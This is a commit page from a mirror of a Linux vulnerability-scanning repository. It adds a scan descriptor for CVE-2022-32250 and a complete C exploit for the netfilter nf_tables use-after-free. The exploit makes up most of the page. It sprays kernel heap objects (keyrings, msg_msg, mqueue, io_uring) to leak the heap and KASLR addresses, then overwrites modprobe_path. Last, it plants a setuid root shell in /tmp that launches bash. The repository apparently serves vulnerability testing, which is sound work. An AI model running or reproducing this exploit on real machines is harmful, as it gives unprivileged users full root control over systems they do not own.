mirror of https://gitee.com/openkylin/genmai.git
add CVE-2022-32250
This commit is contained in:
zhangzhijintong
parent
165f1d0e1f
commit
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FormatVer: 20220602
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Id: CVE-2022-32250
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Belong: kernel
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PocHazardLevel: high
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Source: https://github.com/theori-io/CVE-2022-32250-exploit
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SiteInfo:
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Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核
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Severity: high
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Description:
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Linux kernel 5.18.1版本及之前版本存在安全漏洞，该漏洞源于net/netfilter/nf_tables_api.c允许本地用户将权限升级为root用户，攻击者利用该漏洞可导致释放后重用。
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ScopeOfInfluence:
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kernel(<=5.18.1s)
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References:
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- https://www.openwall.com/lists/oss-security/2022/05/31/1
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- https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/net/netfilter?id=520778042ccca019f3ffa136dd0ca565c486cedd
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- http://www.openwall.com/lists/oss-security/2022/06/03/1
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- http://www.openwall.com/lists/oss-security/2022/06/04/1
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- https://www.debian.org/security/2022/dsa-5161
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- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UIZTJOJCVVEJVOQSCHE6IJQKMPISHQ5L/
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- https://bugzilla.redhat.com/show_bug.cgi?id=2092427
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- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MO6Y3TC4WUUNKRP7OQA26OVTZTPCS6F2/
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- http://www.openwall.com/lists/oss-security/2022/06/20/1
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- https://lists.debian.org/debian-lts-announce/2022/07/msg00000.html
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- http://www.openwall.com/lists/oss-security/2022/07/03/6
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- http://www.openwall.com/lists/oss-security/2022/07/03/5
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- https://www.debian.org/security/2022/dsa-5173
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- https://security.netapp.com/advisory/ntap-20220715-0005/
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- http://www.openwall.com/lists/oss-security/2022/08/25/1
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- https://github.com/theori-io/CVE-2022-32250-exploit
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- https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
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- http://www.openwall.com/lists/oss-security/2022/09/02/9
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SiteClassification:
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CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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CvssScore: 7.8
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CveId: CVE-2022-32250
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CweId: CWE-416
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CnvdId: None
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KveId: None
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Tags:
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- 权限提升
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- cve2022
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- 释放后使用
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SiteRequests:
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Implement:
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ImArray:
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- inter:
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InterArgs :
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Exec : exp
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Args :
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ExpireTime: 30 #second
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# < input
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# > output
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# . wait
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# ? condition
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# : content
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#
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#组合起来
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# >. 等待直到输出
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# << 输入字符
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# >?判断条件
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Inter:
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- ">.:I am root" #等待输出
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- "<<:whoami" #输入'whoami\n'
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- ">.:\n" #等待输出'\n'
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- ">?:root" #判断输出为'root'为成功
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Condition: None
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Binary file not shown.
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@ -0,0 +1,712 @@
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// gcc exp.c -o exp -l mnl -l nftnl -w
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#define _GNU_SOURCE
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#include <arpa/inet.h>
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#include <sched.h>
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <fcntl.h>
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#include <err.h>
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#include <libmnl/libmnl.h>
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#include <libnftnl/chain.h>
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#include <libnftnl/expr.h>
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#include <libnftnl/rule.h>
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#include <libnftnl/table.h>
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#include <libnftnl/set.h>
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#include <linux/netfilter.h>
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#include <linux/netfilter/nf_tables.h>
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#include <linux/netfilter/nfnetlink.h>
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#include <sched.h>
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#include <sys/types.h>
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#include <signal.h>
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#include <net/if.h>
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#include <asm/types.h>
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#include <linux/netlink.h>
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#include <linux/rtnetlink.h>
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#include <sys/socket.h>
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#include <linux/ethtool.h>
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#include <linux/sockios.h>
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#include <sys/xattr.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/ipc.h>
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#include <sys/msg.h>
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#include <sys/socket.h>
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#include <sys/syscall.h>
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#include <assert.h>
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#include <netinet/in.h>
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#include <stdint.h>
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#include <syscall.h>
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#include <mqueue.h>
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#include <linux/io_uring.h>
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#include <linux/keyctl.h>
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#include <sys/shm.h>
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#include <sys/ipc.h>
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#include <sys/types.h>
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#include <sys/mman.h>
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#define MQUEUE_NUM 5
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#define INBOUND 0
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#define OUTBOUND 1
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#define DESC_MAX 0x800
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#define BUFFER 0x100
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#define NAMELEN 0x100
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#define ERROR_PREFIX "err: "
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#define KEY_DESC_MAX_SIZE 40
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#define PREFIX_BUF_LEN 16
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#define RCU_HEAD_LEN 16
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#define SPRAY_KEY_SIZE 50
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#define PHYSMAP_MASK 0xffffffff00000000
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#define SPRAY_SIZE 1000
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#define SPRAY_NB_ENTRIES 10
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uint64_t base_base;
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uint64_t heap_base;
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uint64_t modprobe_addr;
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enum nft_trans_phase {
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NFT_TRANS_PREPARE,
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NFT_TRANS_ABORT,
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NFT_TRANS_COMMIT,
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NFT_TRANS_RELEASE
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};
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typedef struct
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{
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long mtype;
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char mtext[1];
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}msg;
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typedef struct
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{
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void *ll_next;
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void *ll_prev;
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long m_type;
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size_t m_ts;
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void *next;
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void *security;
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}msg_header;
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typedef struct
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{
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char name[BUFFER];
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} Msg;
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typedef struct
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{
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char iface[16];
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char name[16];
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char ip[16];
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char netmask[16];
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uint8_t idx;
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uint8_t type;
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uint16_t proto;
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uint16_t port;
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uint8_t action;
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char desc[DESC_MAX];
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} user_rule_t;
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struct keyring_payload {
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uint8_t prefix[PREFIX_BUF_LEN];
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uint8_t rcu_buf[RCU_HEAD_LEN];
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unsigned short len;
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};
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struct leak {
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long kaslr_base;
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long physmap_base;
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};
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struct fd_uring {
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int fd;
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struct io_uring_params *params;
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};
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typedef int32_t key_serial_t;
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const char priv_file[] = "/tmp/shell.c\0";
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const char dummy_file[] = "/tmp/dummy\0";
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const char priv_context[] = "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00";
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const char dummy_content[] = "\xff\xff\xff\xff";
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const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n";
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static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
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return syscall(__NR_add_key, type, description, payload, plen, ringid);
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}
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static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
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return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
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}
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void bye(char *info)
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{
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puts(info);
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exit(-2);
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}
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void do_error_exit(char *info)
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{
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puts(info);
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exit(-1);
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}
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void bye2(char *info, char *arg)
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{
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printf(info, arg);
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}
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key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) {
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char key_desc[KEY_DESC_MAX_SIZE];
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key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
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if (id_buffer == NULL)
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bye("calloc");
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for (uint32_t i = start; i < start+spray_size; i++) {
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snprintf(key_desc, KEY_DESC_MAX_SIZE, "SPRAY-RING-%03du", i);
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id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
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if (id_buffer[i] < 0)
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bye("add_key");
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}
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return id_buffer;
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}
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key_serial_t *spray_keyring_list_del_purpose(uint32_t spray_size, uint64_t next, uint64_t prev, uint64_t size)
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{
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// next[0x8] = prev, prev[0x0] = next allocation occured at gather mqueue
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char key_desc[KEY_DESC_MAX_SIZE];
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key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
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char temp[0x20];
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memcpy(temp+0x0, &next, 8);
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memcpy(temp+0x8, &prev, 8);
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memcpy(temp+0x10, "12341234", 8);
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memcpy(temp+0x18, &size, 8);
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if (id_buffer == NULL)
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do_error_exit("calloc");
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for (uint32_t i = 0; i < spray_size; i++) {
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id_buffer[i] = add_key("user", temp, temp, 0x20, KEY_SPEC_PROCESS_KEYRING);
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if (id_buffer[i] < 0)
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do_error_exit("add_key");
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}
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return id_buffer;
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}
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key_serial_t *spray_keyring_list_overwrite_purpose(uint32_t spray_size, uint64_t len, uint64_t off_18,
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uint64_t off_20, uint64_t off_28, uint64_t off_30, uint64_t off_38)
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{
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char key_desc[KEY_DESC_MAX_SIZE];
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key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
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char temp[0x40];
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switch((len-1)/8)
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{
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case 0:
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memcpy(temp+0x0, &off_18, 8);
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case 1:
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memcpy(temp+0x8, &off_20, 8);
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case 2:
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memcpy(temp+0x10, &off_28, 8);
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case 3:
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memcpy(temp+0x18, &off_30, 8);
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case 4:
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memcpy(temp+0x20, &off_38, 8);
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break;
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default:
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bye("add_key - assert(len <= 0x28)");
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}
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for (uint32_t i = 0; i < spray_size; i++) {
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snprintf(key_desc, KEY_DESC_MAX_SIZE, temp);
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id_buffer[i] = add_key("user", temp, temp, len, KEY_SPEC_PROCESS_KEYRING);
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if (id_buffer[i] < 0)
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do_error_exit("add_key");
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}
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return id_buffer;
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}
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int get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
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uint8_t buffer[USHRT_MAX] = {0};
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int32_t keylen;
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for (uint32_t i = 0; i < id_buffer_size; i++) {
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keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, 0x10, 0);
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if (keylen < 0)
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bye("keyctl");
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if(!strncmp(&buffer[6],"\xff\xff", 2))
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{
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heap_base = *((uint64_t*)buffer);
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printf("[+] leak successed, kmalloc-64 heap: 0x%llx\n", heap_base);
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return i;
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}
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else
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printf("[-] leak failed, idkval: %s\n", buffer);
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}
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return id_buffer_size;
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}
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void awake_partial_keys(key_serial_t *id_buffer, uint32_t idx) {
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uint8_t buffer[USHRT_MAX] = {0};
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int32_t keylen;
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keylen = keyctl(KEYCTL_UPDATE, id_buffer[idx], (long)buffer, 0x10, 0);
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}
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void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size)
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{
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for (uint32_t i = 0; i < id_buffer_size; i++) {
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if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
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do_error_exit("keyctl(KEYCTL_REVOKE)");
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}
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free(id_buffer);
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}
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void release_partial_keys(key_serial_t *id_buffer, int i)
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{
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if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
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do_error_exit("keyctl(KEYCTL_REVOKE)");
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}
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void unshare_setup(uid_t uid, gid_t gid)
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{
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int temp;
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char edit[0x100];
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unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
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temp = open("/proc/self/setgroups", O_WRONLY);
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write(temp, "deny", strlen("deny"));
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close(temp);
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temp = open("/proc/self/uid_map", O_WRONLY);
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snprintf(edit, sizeof(edit), "0 %d 1", uid);
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write(temp, edit, strlen(edit));
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close(temp);
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temp = open("/proc/self/gid_map", O_WRONLY);
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snprintf(edit, sizeof(edit), "0 %d 1", gid);
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write(temp, edit, strlen(edit));
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close(temp);
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return;
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}
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void set_stable_table_and_set(struct mnl_socket* nl, const char *name)
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{
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char * table_name = name;
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char * set_name = NULL;
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uint8_t family = NFPROTO_IPV4;
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uint32_t set_id = 1;
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// a table for the sets to be associated with
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struct nftnl_table * table = nftnl_table_alloc();
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nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
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nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
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struct nftnl_set * set_stable = nftnl_set_alloc();
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set_name = "set_stable";
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nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
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nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
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nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
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nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
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nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
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// expressions
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struct nftnl_expr * exprs[128];
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int exprid = 0;
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// serialize
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char buf[MNL_SOCKET_BUFFER_SIZE*2];
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struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
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int seq = 0;
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nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
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mnl_nlmsg_batch_next(batch);
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struct nlmsghdr * nlh;
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int table_seq = seq;
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nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
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NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++);
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nftnl_table_nlmsg_build_payload(nlh, table);
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mnl_nlmsg_batch_next(batch);
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// add set_stable
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nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
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NFT_MSG_NEWSET, family,
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NLM_F_CREATE|NLM_F_ACK, seq++);
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nftnl_set_nlmsg_build_payload(nlh, set_stable);
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nftnl_set_free(set_stable);
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mnl_nlmsg_batch_next(batch);
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nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
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mnl_nlmsg_batch_next(batch);
|
||||
|
||||
if (nl == NULL) {
|
||||
err(1, "mnl_socket_open");
|
||||
}
|
||||
|
||||
printf("[+] setting stable %s and set\n", table_name);
|
||||
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
|
||||
mnl_nlmsg_batch_size(batch)) < 0) {
|
||||
err(1, "mnl_socket_send");
|
||||
}
|
||||
}
|
||||
|
||||
void set_trigger_set_and_overwrite(struct mnl_socket* nl, const char *name, const char *set_name)
|
||||
{
|
||||
char * table_name = name;
|
||||
uint8_t family = NFPROTO_IPV4;
|
||||
uint32_t set_id = 1;
|
||||
struct nftnl_expr * exprs[128];
|
||||
int exprid = 0;
|
||||
struct nlmsghdr * nlh;
|
||||
|
||||
struct nftnl_set * set_trigger = nftnl_set_alloc();
|
||||
|
||||
nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
|
||||
nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
|
||||
nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
|
||||
nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
|
||||
nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
|
||||
nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
|
||||
exprs[exprid] = nftnl_expr_alloc("lookup");
|
||||
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
|
||||
nftnl_set_add_expr(set_trigger, exprs[exprid]);
|
||||
exprid++;
|
||||
|
||||
char buf[MNL_SOCKET_BUFFER_SIZE*2];
|
||||
|
||||
struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
|
||||
int seq = 0;
|
||||
|
||||
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
|
||||
NFT_MSG_NEWSET, family,
|
||||
NLM_F_CREATE|NLM_F_ACK, seq++);
|
||||
nftnl_set_nlmsg_build_payload(nlh, set_trigger);
|
||||
nftnl_set_free(set_trigger);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
if (nl == NULL) {
|
||||
err(1, "mnl_socket_open");
|
||||
}
|
||||
|
||||
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
|
||||
mnl_nlmsg_batch_size(batch)) < 0) {
|
||||
err(1, "mnl_socket_send");
|
||||
}
|
||||
|
||||
printf("[+] triggering UAF set and overwrite *(prevchunk+0x18)\n");
|
||||
}
|
||||
|
||||
void set_cpu_affinity(int cpu_n, pid_t pid) {
|
||||
cpu_set_t set;
|
||||
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu_n, &set);
|
||||
|
||||
if (sched_setaffinity(pid, sizeof(set), &set) < 0)
|
||||
do_error_exit("sched_setaffinity");
|
||||
}
|
||||
|
||||
void spray_mqueue(mqd_t mqdes, char *msgptr, int spray_size)
|
||||
{
|
||||
char msgrv[BUFFER];
|
||||
unsigned rvprio, sdprio = 1;
|
||||
struct timespec ts;
|
||||
int unresolved = 0;
|
||||
|
||||
int priority = 0;
|
||||
|
||||
printf("[*] spraying mqueue...\n");
|
||||
for(int i=0; i<spray_size; i++)
|
||||
if (mq_send(mqdes, msgptr, 0x28, sdprio) != 0)
|
||||
perror(ERROR_PREFIX "mq_send");
|
||||
}
|
||||
|
||||
int gather_mqueue(mqd_t mqdes, int gather_size)
|
||||
{
|
||||
int priority = 0;
|
||||
char msg[BUFFER];
|
||||
printf("[*] gathering mqueue...\n");
|
||||
for(int i=0; i<gather_size; i++)
|
||||
{
|
||||
if (mq_receive(mqdes, (char*) &msg, BUFFER, NULL) != -1)
|
||||
{
|
||||
|
||||
if(*((uint64_t *)msg) & 0xffffffff00000000 != 0xffffffff00000000)
|
||||
bye("[-] can't leak base... \n");
|
||||
|
||||
base_base = *((uint64_t *)msg) - 0x51af80;
|
||||
modprobe_addr = base_base + 0x1e8b320;
|
||||
printf("[+] KASLR base: 0x%llx\n", base_base);
|
||||
printf("[+] modprobe addr: 0x%llx\n", modprobe_addr);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int gather_mqueue_nosave(mqd_t mqdes, int gather_size)
|
||||
{
|
||||
int priority = 0;
|
||||
char msg[BUFFER];
|
||||
printf("[*] gathering mqueue...\n");
|
||||
for(int i=0; i<gather_size; i++)
|
||||
mq_receive(mqdes, (char*) &msg, BUFFER, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void spray_msg_msg(unsigned int size, unsigned int amount, int qid)
|
||||
{
|
||||
char buffer[0x2000];
|
||||
msg *spray = (msg *)buffer;
|
||||
|
||||
// assert(size >= 0x31 && size <= 0x1000 - 0x8);
|
||||
printf("[*] try to spray msg_msg\n");
|
||||
spray->mtype = 1;
|
||||
|
||||
memset(spray->mtext, 0x41, size - 0x30);
|
||||
|
||||
for (int i = 0; i < amount; i++)
|
||||
{
|
||||
if(i % 0x10 == 0)
|
||||
printf("[*] spraying msg_msg: 0x%x\n", i);
|
||||
if (msgsnd(qid, spray, size - 0x30, 0) == -1)
|
||||
{
|
||||
perror("msgsend failure");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
|
||||
return syscall(__NR_io_uring_setup, entries, p);
|
||||
}
|
||||
|
||||
static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
|
||||
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
|
||||
}
|
||||
|
||||
|
||||
struct fd_uring *spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
|
||||
|
||||
for (uint64_t i = 0; i < spray_size; i++) {
|
||||
|
||||
fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
|
||||
if (!fd_buffer[i].params)
|
||||
do_error_exit("malloc");
|
||||
memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
|
||||
|
||||
fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
|
||||
if (fd_buffer[i].fd < 0)
|
||||
do_error_exit("io_uring_create");
|
||||
|
||||
}
|
||||
return fd_buffer;
|
||||
}
|
||||
|
||||
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {
|
||||
|
||||
for (uint32_t i = 0; i < buffer_size; i++) {
|
||||
close(fd_buffer[i].fd);
|
||||
}
|
||||
free(fd_buffer);
|
||||
}
|
||||
|
||||
void release_partial_uring(struct fd_uring *fd_buffer, uint32_t buffer_idx) {
|
||||
|
||||
close(fd_buffer[buffer_idx].fd);
|
||||
}
|
||||
|
||||
void prepare_root_shell(void) {
|
||||
create_dummy_file();
|
||||
create_priv_file();
|
||||
}
|
||||
|
||||
void create_dummy_file(void) {
|
||||
int fd;
|
||||
|
||||
fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
write(fd, dummy_content, sizeof(dummy_content));
|
||||
close(fd);
|
||||
}
|
||||
|
||||
void create_priv_file(void) {
|
||||
int fd;
|
||||
|
||||
fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
write(fd, priv_context, sizeof(priv_context));
|
||||
close(fd);
|
||||
|
||||
system("gcc -o /tmp/shell /tmp/shell.c -w");
|
||||
}
|
||||
|
||||
void write_new_modprobe() {
|
||||
|
||||
int fd, fd_modprobe;
|
||||
char modprobe_name[0x10] = {0, };
|
||||
|
||||
fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY);
|
||||
read(fd_modprobe, modprobe_name, 14);
|
||||
close(fd_modprobe);
|
||||
|
||||
printf("[*] current modprobe name: %s\n", modprobe_name);
|
||||
fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
if (fd < 0)
|
||||
do_error_exit("open");
|
||||
|
||||
write(fd, new_modprobe_content, sizeof(new_modprobe_content));
|
||||
|
||||
close(fd);
|
||||
}
|
||||
|
||||
void setup_modprobe_payload() {
|
||||
write_new_modprobe();
|
||||
}
|
||||
|
||||
void userland_T(int *sema)
|
||||
{
|
||||
while(*sema);
|
||||
}
|
||||
|
||||
void sema_up(int *sema)
|
||||
{
|
||||
*sema = 1;
|
||||
}
|
||||
|
||||
void sema_down(int *sema)
|
||||
{
|
||||
*sema = 0;
|
||||
}
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
setvbuf(stdin, 0, 2, 0);
|
||||
setvbuf(stdout, 0, 2, 0);
|
||||
setvbuf(stderr, 0, 2, 0);
|
||||
char c;
|
||||
char writebuf[0x2000];
|
||||
|
||||
char mqname[MQUEUE_NUM][NAMELEN] = {"/qname1", "/qname2", "/qname3", "/qname4", "/qname5"};
|
||||
mqd_t mqid[MQUEUE_NUM];
|
||||
struct mq_attr attr;
|
||||
attr.mq_flags = 0;
|
||||
attr.mq_maxmsg = 10;
|
||||
attr.mq_msgsize = BUFFER;
|
||||
attr.mq_curmsgs = 0;
|
||||
int uaf_id = 0;
|
||||
|
||||
int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
|
||||
int *sema2 = malloc(0x10);
|
||||
|
||||
prepare_root_shell();
|
||||
sema_up(sema);
|
||||
if(fork())
|
||||
{
|
||||
set_cpu_affinity(1, getpid());
|
||||
userland_T(sema);
|
||||
sleep(1);
|
||||
printf("\n\n[------------------------- stage 4: Execute Malicious File -------------------------------]\n");
|
||||
setup_modprobe_payload();
|
||||
execve("/tmp/dummy", NULL, NULL);
|
||||
execve("/tmp/shell", NULL, NULL);
|
||||
}
|
||||
|
||||
unshare_setup(getuid(), getgid());
|
||||
|
||||
set_cpu_affinity(0, 0);
|
||||
|
||||
struct fd_uring *fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
|
||||
if (!fd_buffer)
|
||||
do_error_exit("calloc");
|
||||
|
||||
for(int i=0; i<5; i++)
|
||||
if((mqid[i] = mq_open(mqname[i], O_CREAT | O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, &attr)) < 0)
|
||||
bye("MQUEUE");
|
||||
|
||||
struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
|
||||
|
||||
printf("\n\n[------------------------- stage 0: Allocate stable table and set ------------------------]\n");
|
||||
set_stable_table_and_set(nl, "table1");
|
||||
set_stable_table_and_set(nl, "table2");
|
||||
set_stable_table_and_set(nl, "table3");
|
||||
set_stable_table_and_set(nl, "table4");
|
||||
|
||||
printf("\n\n[------------------------- stage 1: Leak heap address ------------------------------------]\n");
|
||||
set_trigger_set_and_overwrite(nl, "table1", "set_trigger0");
|
||||
|
||||
key_serial_t *id_buffer = spray_keyring(0, SPRAY_KEY_SIZE);
|
||||
|
||||
set_trigger_set_and_overwrite(nl, "table1", "set_trigger1");
|
||||
if((uaf_id = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE)) == SPRAY_KEY_SIZE)
|
||||
bye("[-] leak failed...");
|
||||
|
||||
printf("\n\n[------------------------- stage 2: Leak KASLR address -----------------------------------]\n");
|
||||
|
||||
spray_uring(SPRAY_SIZE, fd_buffer);
|
||||
|
||||
set_trigger_set_and_overwrite(nl, "table2", "set_trigger2");
|
||||
spray_mqueue(mqid[0], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4);
|
||||
|
||||
release_partial_uring(fd_buffer, SPRAY_SIZE-1);
|
||||
for(int i = 3; i > 113; i++)
|
||||
release_partial_uring(fd_buffer, SPRAY_SIZE-i);
|
||||
release_partial_uring(fd_buffer, SPRAY_SIZE-2);
|
||||
set_trigger_set_and_overwrite(nl, "table2", "set_trigger3");
|
||||
key_serial_t *id_buffer3 = spray_keyring_list_del_purpose(SPRAY_KEY_SIZE*2, heap_base, heap_base, 0x28);// keyring <-> msg_msg overlap
|
||||
gather_mqueue(mqid[0], 1);
|
||||
|
||||
sleep(1);
|
||||
printf("\n\n[------------------------- stage 3: Overwrite modprobe_path ------------------------------]\n");
|
||||
|
||||
set_trigger_set_and_overwrite(nl, "table3", "set_trigger4");
|
||||
spray_mqueue(mqid[1], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4);
|
||||
set_trigger_set_and_overwrite(nl, "table3", "set_trigger5");
|
||||
id_buffer = spray_keyring_list_del_purpose(1, modprobe_addr-0x8+0x1, (heap_base&0xffffffff00000000)+0x2f706d74, 0x10);
|
||||
sema_down(sema);
|
||||
gather_mqueue_nosave(mqid[1], 1);
|
||||
|
||||
sleep(1);
|
||||
for(int i=SPRAY_SIZE/2+12; i<SPRAY_SIZE; i++)
|
||||
release_partial_uring(fd_buffer, i);
|
||||
|
||||
while(1);
|
||||
}
|
||||
Loading…
Reference in New Issue